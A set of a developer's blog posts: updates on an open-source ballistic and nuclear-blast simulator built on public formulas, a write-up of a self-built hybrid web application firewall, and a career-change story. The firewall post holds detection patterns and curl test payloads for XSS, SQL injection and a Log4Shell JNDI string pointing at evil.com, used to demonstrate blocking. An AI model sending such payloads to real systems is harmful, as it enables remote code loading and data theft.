DEV Community: Patryk

BALISTIC v6.0 — NASA SRTM Terrain Masking: Blast Zones Now Blocked by Real Mountains

Patryk — Mon, 13 Apr 2026 06:32:00 +0000

BALISTIC v6.0 — NASA SRTM Terrain Masking

The biggest update yet. Blast zones are no longer circles —
they're now physically accurate polygons blocked by real terrain.

What changed

Previous versions used random noise + OSM building density to
generate "irregular" zones. Looked nice, but wasn't physically
meaningful. Mountains didn't block anything.

v6.0 integrates NASA SRTM elevation data (90m resolution,
global coverage) with a horizon scan algorithm:

For each of 72 ray directions:

Sample terrain elevation every ~400m along the ray
Track the "horizon angle" seen from the blast point
When terrain drops behind a ridge → shadow zone starts
Clip the blast radius at that distance

Result: zones expand freely through valleys, contract against
mountain faces.

Three test cases

Islamabad, Pakistan
The city sits at the foot of Margalla Hills. North-west zones
are cut hard by the ridge. South-east over the flat Indus plain
— full radius, nothing blocking.

Red Rock Canyon, Las Vegas
Impact point in the canyon. West zones cut by canyon walls.
East toward the city — open desert, full radius.
The asymmetry is dramatic.

Jerusalem
Impact on the ridge (535m). East toward the Judean Desert —
zones extend far through the open valley. West toward the
Judean Hills — clipped.

Tech

srtm_module.py — downloads tiles from srtm.kurviger.de on first shot, caches locally
~5700 tiles, full world 60°S–60°N offline
72-ray horizon scan per shot, ~35 samples per ray
Fallback to OSM Overpass density if SRTM unavailable

Also in v6.0

Fixed ballistic model for ICBM/IRBM — Sarmat 9000km now gives correct 29.9min flight time and 1080km apogee (was stuck at hardcoded values before)
Corrected fallout polygon geometry — wind-aligned ellipse was broken due to wrong azimuth→lat/lon conversion
weapons_db.json — all 195 weapon systems externalized

Stack

Python/Flask + C#/.NET 10 + Redis Streams + Leaflet.js +
CesiumJS + NASA SRTM

GitHub: https://github.com/InsaneInfinity/Balistic

I built an open-source nuclear & ballistic simulator — 176 weapons, real blast physics, 3D globe

Patryk — Wed, 08 Apr 2026 21:14:38 +0000

Eight months ago I was a truck driver. Today I'm shipping a ballistic
fire control simulator with nuclear blast zones calculated from
Glasstone & Dolan physics formulas used by the US government since 1977.

No bootcamp. No CS degree. Just Python, C#, Redis, and a refusal to
build todo apps.

BALISTIC V5.9 simulates 176 weapon systems across 30+ countries —
from a Polish AHS KRAB howitzer shooting 155mm at 5km, to a Russian
Sarmat ICBM with a 750kt warhead hitting a target 10,000km away on a
CesiumJS 3D globe. With radioactive fallout plumes. With real wind data
from OpenWeatherMap. With Coriolis effect.

What's new in V5.9

Since my last post, BALISTIC has grown from a simple Polish artillery simulator into a full global ballistic fire control system. Here's what landed in V5.9:

✈️ Nuclear Bomber Aircraft

The biggest visual upgrade. Aircraft now fly at realistic altitudes (9000-10000m) with an animated ✈️ emoji icon on the CesiumJS 3D globe instead of a dot.

14 bombers across 5 nations, each with correct speed and payload:

Aircraft	Country	Weapon	Altitude
B-29 Superfortress	🇺🇸 (1945)	Little Boy 15kt / Fat Man 21kt	9000m
B-52 Stratofortress	🇺🇸	AGM-86 ALCM / B61-12	10000m
B-2 Spirit	🇺🇸	B61-12 / B83 1.2Mt	10000m
Tu-160 Blackjack	🇷🇺	500kt	10000m
Rafale F3	🇫🇷	ASMP-A 300kt	10000m
Avro Vulcan B2	🇬🇧 (hist.)	WE.177 400kt	10000m

The C# processor detects aircraft by ammo name and sets altitude accordingly:

string[] aircraft = {"F35-B61","B2-B61","B2-B83","B21-B61",
                     "Tu160-nuke","Tu95-nuke","LittleBoy","FatMan",...};
double aircraftAlt = (nazwaAmmo == "LittleBoy" || nazwaAmmo == "FatMan") 
                     ? 9000.0 : 10000.0;
cruiseAlt = Array.Exists(aircraft, a => a == nazwaAmmo) ? aircraftAlt : 100.0;

💣 Hiroshima & Nagasaki — Historical Simulation

B-29 Superfortress carries two loadouts:

Little Boy — 15kt, Hiroshima, 6 August 1945. Fireball 303m, burns 7km
Fat Man — 21kt, Nagasaki, 9 August 1945. Fireball 348m, burns 8km

Blast zones calculated from Glasstone & Dolan "The Effects of Nuclear Weapons" (1977).

🏹 Artillery for 30+ Countries

Every country now has its own artillery section. Some highlights:

🇷🇺 2S7 Pion — 203mm, the largest self-propelled howitzer in service
🇰🇵 Koksan M-1978 — 170mm, range 60km, the longest-range artillery piece in the world
🇩🇪 PzH 2000 — 155mm, 945 m/s muzzle velocity, EXCALIBUR precision rounds
🇫🇷 CAESAR — wheeled 155mm, 930 m/s, shoot-and-scoot capability
🇺🇦 2S22 Bohdana — Ukraine's own 155mm, used actively in the war

Physics: Euler integration dt=0.01s with drag F = ½·Cd·ρ·A·v², bisection method for elevation angle.

⚡ Hypersonic Systems

Zircon 3M22 — Mach 9 (2778 m/s), CEP 2m, 11,575 MJ kinetic energy
Fattah — Iran, Mach 13+, 4000 m/s
AGM-183 ARRW — USA, Mach 20, 6000 m/s

🛰️ Map Layer Switcher

Google Maps tiles now support three modes:

var layers = {
    hybrid:    L.tileLayer('...lyrs=y&hl=en...'),  // English labels
    satellite: L.tileLayer('...lyrs=s...'),          // Pure satellite
    road:      L.tileLayer('...lyrs=m&hl=en...'),   // Road map EN
};

The hl=en parameter forces English labels — no more Cyrillic on Russian cities.

📊 Shot History Panel

Clicking any item in the shot history now reloads the full ballistic result panel — azimuth, TOF, blast zones, fallout data — for that specific shot.

By the numbers

176 weapon systems from 30+ countries
195 ammunition types — each with CEP, blast zones, drag coefficient, cross-section area
14 nuclear bomber aircraft with realistic altitude
Artillery in every country — from KRAB to Koksan to Pion

Eight months ago I didn't know what a Haversine formula was.
Now I'm simulating ICBM trajectories over a 3D globe.

GitHub

https://github.com/InsaneInfinity/Balistic

For educational and simulation purposes only. All data from publicly available sources (Glasstone & Dolan 1977, CSIS, Jane's, NATO FM 6-40).

Building a Ballistic Fire Control Simulator with Python, C# and Redis

Patryk — Mon, 23 Mar 2026 21:44:15 +0000

# BALISTIC V5.4 — From Artillery to Global Nuclear Simulator

Since my last article,
the project grew from a simple artillery simulator into something much bigger.

👉 GitHub: https://github.com/InsaneInfinity/Balistic

What's new in V5.4

🌍 CesiumJS 3D Globe

Missiles >500km automatically switch to a 3D globe view.
ICBM trajectories follow a geodesic great circle path over Earth's surface,
with animated flight, glowing trail and apogee marker.

☢️ Nuclear Physics — Glasstone & Dolan (1977)

Every nuclear warhead now has realistic blast zones calculated from the
publicly available US government publication:

Fireball: r = 100 × W^0.41 [m]
Heavy damage (20psi): r = 290 × W^0.33 [m]
Light damage (5psi): r = 690 × W^0.33 [m]
Burns (1st degree): r = 2200 × W^0.41 [m]

Example — Sarmat (750kt): fireball 2.7km, hazard zone 145km.

🌬️ Radioactive Fallout

Wind-direction elliptical plume with 3 intensity zones.
Avangard HGV gets air-burst correction (3-4× reduced fallout).

💣 Cluster Munitions

Realistic elliptical dispersion pattern aligned with flight azimuth.
Iskander-M: 54 submunitions in 200m ellipse.
ATACMS: 950 submunitions in 500m ellipse.

🛩️ Cruise Missiles

Flat ~100m trajectory for Kalibr, Tomahawk, Storm Shadow, SCALP...
Realistic subsonic flight time (Kalibr 2500km = ~2.7h).

🌀 Coriolis Fix

Corrected formula: d = Ω·sin(φ)·v_avg·t²/2
With realistic caps: SRBM ~300m, MRBM ~1000m, ICBM ~3000m.

94 Systems from 18+ Countries

Russia, China, USA, UK, France, Turkey, South Korea, Japan,
Taiwan, Ukraine, Iran, Israel, India, Pakistan, Brazil, Sweden, Egypt, Syria...

Screenshots

Tech Stack

Python/Flask — frontend, REST API, PDF
C#/.NET 10 — ballistic processor (Euler, Coriolis, ISA)
Redis 7.x Streams — microservices queue
Leaflet.js — 2D satellite map
CesiumJS 1.114 — 3D globe

Educational and simulation purposes only.
All data from public sources (Glasstone & Dolan 1977, CSIS, Jane's).

Full source: https://github.com/InsaneInfinity/Balistic

I Built a Hybrid WAF in C# and Python After 8 Months of Learning — Here's Everything I Learned

Patryk — Sun, 22 Mar 2026 13:17:38 +0000

The Honest Truth First

I've been coding for 8 months. Not years. Eight months.

When I tell people what I built, they usually assume I'm exaggerating or that I just glued some libraries together. So let me be upfront: ShieldX is a fully custom Web Application Firewall combining a .NET 10 reverse proxy with a Python deep inspection engine, connected through a Redis event bus, with a real-time SOC dashboard powered by SignalR.

Is it perfect? No. Is it production-ready for Fortune 500? Probably not yet. But it detects SQLi, XSS, Log4Shell, Command Injection, and Path Traversal — and it does it in under 5ms for the standalone mode and under 10ms in hybrid mode. I'm proud of it, and I want to share exactly how it works and what I learned building it.

Why I Built This

I wasn't trying to reinvent Cloudflare. I wanted to understand how WAFs actually work under the hood. Every time I used tools like AWS WAF or ModSecurity, they felt like black boxes. Rules go in, traffic comes out filtered — but why? How?

So I decided to build one myself. From scratch.

The first version was a mess — a Python script with a handful of regex patterns that blocked anything with "SELECT" in it (which, embarrassingly, also blocked my own admin queries). Over the next few months, it evolved into something I'm genuinely proud of.

The Architecture — Two Engines, One System

The core idea behind ShieldX is simple: use the right tool for each job.

.NET 10 is incredibly fast for high-throughput request processing. It handles TLS, rate limiting, GeoIP filtering, URL anomaly detection, and caching. Sub-millisecond response times on the hot path.
Python is flexible and expressive for deep pattern matching. It handles POST/PUT body scanning — the kind of deep inspection where you need to decode URL-encoded payloads, strip encoding tricks, and run complex regex across request bodies.
Redis acts as the glue — a shared event bus and ban store that lets both engines communicate in real time.

Here's the high-level flow:

Incoming Request
      │
      ▼
.NET 10 Gateway (YARP / Kestrel)
  ├── GeoIP filtering (MaxMind)
  ├── Browser fingerprinting (SHA-256)
  ├── L7 URL/header anomaly detection
  ├── Rate limiting (30 req/10s)
  └── L1/L2 ban cache (IMemoryCache + Redis)
      │
      │ [Hybrid mode only]
      ▼
Python Intelligence Engine (FastAPI)
  ├── DPI body scan (POST/PUT up to 64KB)
  ├── SQLi, XSS, Log4Shell, CMDi detection
  ├── Threat scoring (0–100)
  └── Binary content guard (skips image/*, video/*, PDF)
      │
      ▼
Redis Event Bus
  ├── shieldx:bans:ip
  ├── shieldx:events:rate_limit
  └── shieldx:events:suspect
      │
      ▼
Real-time SOC Dashboard (SignalR)

There are two modes:

Feature	Standalone (.NET)	Hybrid (.NET + Python)
Setup	Single process	Two processes + Redis
Latency overhead	Sub-millisecond	~2–5ms
Body scanning	✗	✓ POST/PUT up to 64KB
Log4Shell detection	✗	✓
Threat scoring	Heuristic (0–100)	Heuristic + Regex (0–100)
Rate limiting	✓ 30 req/10s	✓ 100 req/min sliding window

The .NET Gateway — Speed First

The .NET side uses YARP (Yet Another Reverse Proxy) as the foundation, running on Kestrel with TLS 1.2/1.3 enforced. I didn't want to write my own HTTP server — YARP handles the proxy mechanics, and I layered my WAF logic on top as ASP.NET middleware.

The Blocking Pipeline

Every request goes through this chain:

Whitelist → L1 Cache → Geo-IP → L7 Defense → [Python DPI] → Bot Score → Rate Limit → Allow

Whitelist — trusted IPs bypass everything. Useful for your own monitoring systems.

L1/L2 ban cache — this was a key performance decision. I use IMemoryCache as L1 (in-process, nanosecond lookups) and Redis as L2 (cross-node synchronization). On a cache hit, the request is rejected before any expensive logic runs.

// L1 cache check - fastest path
if (cache.TryGetValue($"ban:{ip}", out _))
{
    ctx.Response.StatusCode = 403;
    await ctx.Response.WriteAsJsonAsync(new
    {
        status = "BANNED",
        msg = "Your IP is blocked by Shield-X."
    });
    return;
}

Browser fingerprinting — I generate a SHA-256 fingerprint from a combination of headers (User-Agent, Accept-Language, Accept-Encoding, etc.). This catches bots that rotate IPs but keep the same browser signature. When the bot score hits 60, I ban the fingerprint. At 80, I ban both the fingerprint and the IP.

GeoIP — using MaxMind GeoLite2. Simple country-level blocking. Not the most sophisticated approach but effective for filtering out high-risk regions.

Redis Pub/Sub for Cross-Process Communication

When Python bans an IP, it publishes to shieldx:bans:ip. The .NET process has a subscriber running from startup:

await subscriber.SubscribeAsync(
    RedisChannel.Literal("shieldx:bans:ip"),
    async (_, msg) =>
    {
        string ip = msg.ToString();
        string reason = (await db.StringGetAsync($"shieldx:ban:{ip}"))
            .ToString() ?? "Python WAF detection";

        cache.Set($"ban:{ip}", true, banDuration);
        await PushEvent("ban", ip, reason, score: 90);
    });

This means a ban applied by Python propagates to .NET's local cache within milliseconds — no polling, no delay.

The Python Engine — Intelligence Layer

The Python engine runs as a FastAPI ASGI application with a custom middleware class that intercepts every request before it reaches the route handler.

Why Python for This Layer?

I get asked this a lot. "Why not just do everything in C#?"

Regex in Python is fast, expressive, and the ecosystem for security pattern development is mature. I could have ported everything to C#, but for the DPI layer, I wanted the flexibility to iterate quickly on patterns without recompiling the .NET project every time. Python lets me hot-reload the detection engine independently.

Also — and this is the honest reason — I wanted to learn both languages deeply. Building a hybrid system forced me to think carefully about where each language excels.

Attack Detection Patterns

The most interesting part is the threat scoring system. Instead of binary block/allow, every request gets a score from 0 to 100:

ATTACK_PATTERNS: dict[str, tuple[int, str]] = {
    "SQL_INJECTION": (
        90,
        r"(?i)(\b(union\s+select|select\s+[\w\*]+\s+from|drop\s+table|"
        r"insert\s+into\s+\w+|update\s+\w+\s+set|delete\s+from|"
        r"exec\s*\(|execute\s*\(|xp_\w+|sp_\w+|"
        r"sleep\s*\(\d+\)|benchmark\s*\(|waitfor\s+delay)\b|"
        r"--\s*$|/\*.*?\*/|'\s*(or|and)\s*'?\d|\bor\b\s+\d+=\d+)",
    ),
    "LOG4J": (
        100,
        r"(?i)\$\{(?:jndi|lower|upper|:+|-+)\s*:",
    ),
    # ... more patterns
}

Score thresholds:

≥ 80 → immediate ban, event published to Redis
40–79 → logged as suspect, forwarded to dashboard, request allowed
< 40 → clean, passes through

This gradation matters. A request with document.cookie in a query parameter isn't necessarily malicious — it might be a legitimate analytics tag. Logging it as suspicious without blocking gives you visibility without false positives.

Body Scanning — The Hard Part

Reading the request body in ASGI middleware is tricky because once you consume the stream, it's gone. You need to buffer it and reconstruct it for the actual route handler:

async def analyze_request(request: Request) -> tuple[int, str, bytes]:
    body_bytes = b""
    chunks: list[bytes] = []
    total = 0

    async for chunk in request.stream():
        total += len(chunk)
        if total > MAX_BODY_READ_BYTES:  # 10MB limit
            return 999, "BODY_TOO_LARGE", b""
        chunks.append(chunk)

    body_bytes = b"".join(chunks)

    # Reconstruct stream for the next handler
    async def receive_patched():
        return {"type": "http.request", "body": body_bytes, "more_body": False}

    request._receive = receive_patched
    return score, reason, body_bytes

I also skip body scanning for binary content types (image/*, video/*, application/pdf) — there's no point running regex on a JPEG.

The Real-Time SOC Dashboard

The dashboard uses SignalR for WebSocket-based push events. Every ban, rate limit hit, or suspicious request appears in the live feed within milliseconds.

When Python detects an attack:

It writes the ban to Redis (shieldx:ban:{ip})
It publishes to shieldx:bans:ip channel
.NET subscriber fires, updates its local cache
.NET calls hubCtx.Clients.All.SendAsync("ShieldEvent", payload)
Dashboard JavaScript receives the event and updates the UI

The whole chain — from Python detecting the attack to the dashboard showing the ban — takes under 50ms in practice.

Testing It — Live Attack Demo

Here's what the system looks like under actual attack traffic. I tested with curl from a local machine and from a separate device on the same network.

XSS Detection

curl -X POST http://localhost:8000/ \
  -H "Content-Type: text/plain" \
  -d "<script>alert(1)</script>"

Result:

{"status": "BLOCKED", "threat": "XSS", "score": 85}

Python log:

[SCAN] IP=192.168.1.179 PATH=/ BODY_SIZE=25B BINARY=False
[ERROR] [BLOCKED] 192.168.1.179 - XSS (score=85)
[WARNING] [BAN] 192.168.1.179 banned for: XSS

Log4Shell Detection

curl -X POST http://localhost:8000/ \
  -H "Content-Type: text/plain" \
  -d '${jndi:ldap://evil.com/x}'

Result:

{"status": "BLOCKED", "threat": "LOG4J", "score": 100}

Log4Shell gets score 100 — immediate ban, no questions asked.

SQL Injection

curl "http://192.168.1.45:8000/?id=1+UNION+SELECT+*+FROM+users--"

Result:

403 Forbidden
{"status": "BLOCKED", "threat": "SQL_INJECTION", "score": 90}

Rate Limiting

for i in $(seq 1 110); do curl -s http://localhost:8000/ > /dev/null; done

After 100 requests in 60 seconds:

429 Too Many Requests
{"status": "RATE_LIMITED", "msg": "Too many requests. Slow down."}

What I Got Wrong (And Fixed)

False positives on apostrophes — my first SQLi pattern was too aggressive. A search query like O'Brien would trigger a block. I rewrote the patterns to require combinations of SQL keywords, not just individual characters.

Body stream consumption — early versions of the Python middleware consumed the body and never restored it. The actual application never received the POST data. The receive_patched pattern above was the fix.

Cache invalidation — when an IP gets unbanned via the REST API, I need to remove it from both Redis and the local IMemoryCache. Missing either one means the ban persists longer than intended.

Loopback bypass — the .NET middleware skips all checks for loopback addresses (127.0.0.1). This is intentional for the dashboard and API endpoints, but it means you can't test attack detection from localhost — you need to come from an external IP.

Architecture Decisions I'd Make Differently

Single binary deployment — running two processes (Python + .NET) adds operational complexity. For a production deployment, I'd consider replacing the Python engine with a native .NET implementation using compiled regex, or packaging everything in a Docker Compose file with proper health checks.

GeoIP database — MaxMind requires registration and the database needs periodic updates. I'd automate this with a GitHub Action that refreshes the .mmdb file weekly.

Metrics — the current dashboard shows events but no aggregate metrics over time. I'd add a time-series store (InfluxDB or even just Redis sorted sets) to show attack trends, peak hours, and top attack sources.

What I Learned

Building ShieldX taught me more about web security in a few months than I'd learned in years of reading about it. A few specific things:

Regex is not enough. Pattern matching catches known signatures, but sophisticated attackers use encoding tricks, Unicode normalization, and payload fragmentation to evade simple regex. A production WAF needs semantic analysis, not just string matching.

The performance gap between languages is real but manageable. The Python DPI layer adds 2–5ms per request. For most APIs, that's acceptable. For high-frequency trading or real-time gaming, it wouldn't be.

Redis is underrated as middleware. Using it as a pub/sub bus between two independent processes is clean and effective. The shieldx:bans:ip channel pattern made cross-language communication trivial.

Building something real teaches you what tutorials can't. Every bug I hit — the body stream consumption issue, the false positive patterns, the SignalR event name mismatch — taught me something that no course would have covered.

Source Code

The full source is on GitHub:

ShieldX-L7-DeepDefense — hybrid WAF (.NET + Python)
ShieldX-Proxy — standalone .NET reverse proxy
ShieldX-Python — Python security scanner

What's Next

[ ] Automated GeoIP database updates
[ ] ML-based anomaly detection (moving beyond regex)
[ ] Docker Compose packaging for easy deployment
[ ] Aggregate metrics dashboard with time-series data
[ ] HTTPS support with automatic Let's Encrypt certificates

Built in 8 months of learning. If you're early in your coding journey and wondering whether you're doing enough — just build something real. The bugs will teach you.

If you found this useful, drop a ❤️ or leave a comment. I'm always looking for feedback on what to improve.

From Truck Driver to WAF Developer — My First 8 Months of Code

Patryk — Sun, 22 Mar 2026 09:13:55 +0000

This is a submission for the 2026 WeCoded Challenge: Echoes of Experience

I'm 42 years old. For most of my life I've been a truck driver — long routes, early mornings, a life measured in kilometers and delivery schedules. It's honest work. But at some point I looked at where I was and thought: I want something different. I want to grow.
So I started coding.
No bootcamp. No CS degree. No mentor sitting next to me. Just a computer, the internet, and a stubborn refusal to give up.

Why Software Development?
It wasn't a dramatic moment. No single event that changed everything. It was a slow realization that the world is built on software — and I wanted to be someone who builds it, not just someone who uses it.
I wanted to change my social status. I wanted to prove — mostly to myself — that it's never too late to become something new. That 42 is not a wall. That a truck driver can learn to think like an engineer.

The First Green Light
Eight months in, I built my first working system. Not a todo app. Not a weather widget. A Layer 7 Web Application Firewall — in C# and Python, with Redis, SignalR, GeoIP blocking and browser fingerprinting.
I still remember the moment everything lit up green for the first time. The dashboard connected. The Redis sync worked. A test attack came in, got scored, got blocked, and the event appeared on the live feed in real time.
That feeling — I don't have a word for it. After weeks of staring at errors, something finally worked exactly the way I imagined it. That moment made everything worth it.

The Hard Parts
Nobody tells you how lonely it is to be stuck on a bug at midnight when you don't know anyone to ask.
There were moments when something should have worked — I could feel it, logically it made sense — and it just didn't. Hours of reading docs, Stack Overflow, trying one more thing. Sometimes I wanted to close the laptop and not come back.
But I always came back.
Because giving up felt worse than being stuck. And because every time I finally figured it out, I understood something deeper than I would have if it had worked the first time.

What I've Built in 8 Months

ShieldX-L7-DeepDefense — a hybrid WAF combining .NET 10 and Python with real-time threat detection
ShieldX-Proxy — a standalone C# reverse proxy with browser fingerprinting and bot scoring
ShieldX-Python — a Python WAF with body scanning, rate limiting and Log4Shell detection
Xtreme Load Tester Pro — an HTTP stress testing tool capable of 10,000 concurrent connections

None of these are tutorial projects. Each one pushed me into territory I didn't know existed when I started.

To Anyone Starting Late
You will feel behind. You will compare yourself to people who have been coding since they were teenagers. You will have days when you wonder if it's too late.
It's not.
Starting late just means you bring something different — life experience, patience, the understanding that hard things take time. I spent years navigating difficult situations on the road. That taught me more about persistence than any classroom could.
The code doesn't care how old you are. It either works or it doesn't. And when it works — when everything lights up green — age is the last thing on your mind.

"If it's not fast, it's not finished. If it's not automated, it's a waste of time."

— Patryk | GitHub | LinkedIn